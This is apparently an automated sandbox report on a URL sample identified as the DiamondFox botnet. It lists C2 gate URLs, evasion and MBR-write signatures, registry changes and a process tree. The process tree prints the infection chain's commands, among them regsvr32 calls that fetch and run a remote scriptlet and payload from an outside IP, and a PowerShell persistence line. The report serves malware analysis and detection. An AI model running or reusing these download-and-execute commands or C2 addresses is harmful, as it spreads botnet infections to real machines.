Analysis
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max time kernel
141s -
max time network
147s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
17-11-2020 04:06
Static task
static1
URLScan task
urlscan1
Sample
http://148.163.12.101/WMndFrdk?keyword=Others&cost=0.00040&ad_campaign_id=262704&source=0
Behavioral task
behavioral1
Sample
http://148.163.12.101/WMndFrdk?keyword=Others&cost=0.00040&ad_campaign_id=262704&source=0
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
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Target
http://148.163.12.101/WMndFrdk?keyword=Others&cost=0.00040&ad_campaign_id=262704&source=0
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Sample
201117-h9cj6sz8s6
Score
10/10
Malware Config
Extracted
Family
diamondfox
C2
https://www.datanalysis.club/ms/gate.php
https://www.datanalysis.site/ms/gate.php
https://www.datanalysis.space/ms/gate.php
Mutex
cBFxpht5aCf0jy4gnUs3JgtqCB2O2tWJ
xor.plain
Signatures
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DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
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DiamondFox payload 6 IoCs
Detects DiamondFox payload in file/memory.
resource yara_rule behavioral1/files/0x000300000001317b-21.dat diamondfox behavioral1/files/0x000300000001317b-23.dat diamondfox behavioral1/files/0x000300000001317b-24.dat diamondfox behavioral1/files/0x000300000001317b-25.dat diamondfox behavioral1/files/0x000300000001317b-27.dat diamondfox behavioral1/files/0x000300000001317b-26.dat diamondfox -
Blacklisted process makes network request 1 IoCs
flow pid Process 15 1720 rundll32.exe -
Executes dropped EXE 1 IoCs
pid Process 576 setup.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Loads dropped DLL 9 IoCs
pid Process 1908 regsvr32.exe 1720 rundll32.exe 1720 rundll32.exe 1720 rundll32.exe 1720 rundll32.exe 1764 dllhost.exe 576 setup.exe 576 setup.exe 576 setup.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 dllhost.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage\213.159.203.207\NumberOfSubdomains = "1" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a60000000000200000000001066000000010000200000005fc390d9edb9ac0fdd04f4056d07da1068e614247be6e5165f73a25f4ac9931d000000000e800000000200002000000048d3166259dd6a26faccc17ff4700f5e952813b19272dde8996c732800e08705200000006f686eac4b36c4e840e0b02f866e18d717224a702ebea8c88615e80d118c29994000000096a6796478cca871c3412afa1667e3a55c7f0fe1113f28d0a10413c7db9d20daa2c33c77f261d42b6ee9dd012e211b53b0d70794ff75fb0a18dc8bc0f9e190fa iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C3C0DCB1-288A-11EB-80C1-FE45F3F7002A} = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000134d8ecdfc0eef6ec122df6cb22e3c4e14ab7203bdbbcff8c7673171beadce4a000000000e800000000200002000000085c8bd9eb5bfac0c937b1bc7927551957f17400d8f277dfbe323f8727f65eb5c900000005df2ca28136c9feedffff0e30f125cf0a004aea2c44ae30844af0baa3e4910354cc781afc25a2dc35292ec65339f105e88da1681d8029cc1ff996aca21cfb15c5adbd2ab402045f34e7f104de6d94e252672bb4175c8fd60e05dbbbc66bbe20a221e26d01b122b1aa83037c39bcab96a3b7a246a75643370f3af32c9a5dcfdcefd36efa52a4a8bde140e352ddd64f7244000000035b5cb8a1844316037b59f1998c5c8330f03a2f22d1a506726d3eb13ce3095bf6dc6cdf760b0f0e89b070864a52795035253b277db4afcaf3fd4d56495471dd5 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0f7529397bcd601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage\213.159.203.207 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "312351178" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe -
Modifies registry class 20 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\ = "OCRExam" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\CLSID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ = "OCRExam" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ProgID\ = "OCRExam.1.00" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32\ThreadingModel = "Apartment" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\ = "OCRExam" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\CLSID\ = "{20001111-0000-0000-0000-0000FEEDACDC}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32\ = "C:\\Windows\\SysWOW64\\scrobj.dll" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\CLSID\ = "{20001111-0000-0000-0000-0000FEEDACDC}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ProgID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ScriptletURL\ = "http://213.159.203.207/views/2jh3ssk3a834m9vb5fdc0gidjg.sct" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID\ = "OCRExam" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ScriptletURL regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\CLSID regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1764 dllhost.exe 1764 dllhost.exe 1908 powershell.exe 1908 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1720 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1908 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 288 iexplore.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 288 iexplore.exe 288 iexplore.exe 1400 IEXPLORE.EXE 1400 IEXPLORE.EXE 1400 IEXPLORE.EXE 1400 IEXPLORE.EXE 576 setup.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 288 wrote to memory of 1400 288 iexplore.exe 30 PID 288 wrote to memory of 1400 288 iexplore.exe 30 PID 288 wrote to memory of 1400 288 iexplore.exe 30 PID 288 wrote to memory of 1400 288 iexplore.exe 30 PID 1400 wrote to memory of 1036 1400 IEXPLORE.EXE 32 PID 1400 wrote to memory of 1036 1400 IEXPLORE.EXE 32 PID 1400 wrote to memory of 1036 1400 IEXPLORE.EXE 32 PID 1400 wrote to memory of 1036 1400 IEXPLORE.EXE 32 PID 1400 wrote to memory of 1036 1400 IEXPLORE.EXE 32 PID 1400 wrote to memory of 1036 1400 IEXPLORE.EXE 32 PID 1400 wrote to memory of 1036 1400 IEXPLORE.EXE 32 PID 1036 wrote to memory of 1908 1036 regsvr32.exe 33 PID 1036 wrote to memory of 1908 1036 regsvr32.exe 33 PID 1036 wrote to memory of 1908 1036 regsvr32.exe 33 PID 1036 wrote to memory of 1908 1036 regsvr32.exe 33 PID 1036 wrote to memory of 1908 1036 regsvr32.exe 33 PID 1036 wrote to memory of 1908 1036 regsvr32.exe 33 PID 1036 wrote to memory of 1908 1036 regsvr32.exe 33 PID 1908 wrote to memory of 1720 1908 regsvr32.exe 34 PID 1908 wrote to memory of 1720 1908 regsvr32.exe 34 PID 1908 wrote to memory of 1720 1908 regsvr32.exe 34 PID 1908 wrote to memory of 1720 1908 regsvr32.exe 34 PID 1908 wrote to memory of 1720 1908 regsvr32.exe 34 PID 1908 wrote to memory of 1720 1908 regsvr32.exe 34 PID 1908 wrote to memory of 1720 1908 regsvr32.exe 34 PID 1720 wrote to memory of 1764 1720 rundll32.exe 35 PID 1720 wrote to memory of 1764 1720 rundll32.exe 35 PID 1720 wrote to memory of 1764 1720 rundll32.exe 35 PID 1720 wrote to memory of 1764 1720 rundll32.exe 35 PID 1764 wrote to memory of 576 1764 dllhost.exe 37 PID 1764 wrote to memory of 576 1764 dllhost.exe 37 PID 1764 wrote to memory of 576 1764 dllhost.exe 37 PID 1764 wrote to memory of 576 1764 dllhost.exe 37 PID 1764 wrote to memory of 576 1764 dllhost.exe 37 PID 1764 wrote to memory of 576 1764 dllhost.exe 37 PID 1764 wrote to memory of 576 1764 dllhost.exe 37 PID 576 wrote to memory of 1908 576 setup.exe 38 PID 576 wrote to memory of 1908 576 setup.exe 38 PID 576 wrote to memory of 1908 576 setup.exe 38 PID 576 wrote to memory of 1908 576 setup.exe 38 PID 576 wrote to memory of 1908 576 setup.exe 38 PID 576 wrote to memory of 1908 576 setup.exe 38 PID 576 wrote to memory of 1908 576 setup.exe 38
Processes
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C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://148.163.12.101/WMndFrdk?keyword=Others&cost=0.00040&ad_campaign_id=262704&source=01⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:288 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:288 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s /i:"http://213.159.203.207/views/2jh3ssk3a834m9vb5fdc0gidjg.sct" scrobj.dll3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s /n /i:"http://213.159.203.207/views/gu0fsj482squftckp1hgr123r0.wav" "C:\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll",CPAILoad XSBSNWDAFU5⤵
- Blacklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1720 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\system32\dllhost.exe"6⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Users\Admin\AppData\Roaming\setup.exe"C:\Users\Admin\AppData\Roaming\setup.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:576 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\setup.exe' -Destination 'C:\Users\Admin\AppData\Local\tiedaxx\atiedxx.exe';Start-Sleep -s 60;Start-Process 'C:\Users\Admin\AppData\Local\tiedaxx\atiedxx.exe'8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908
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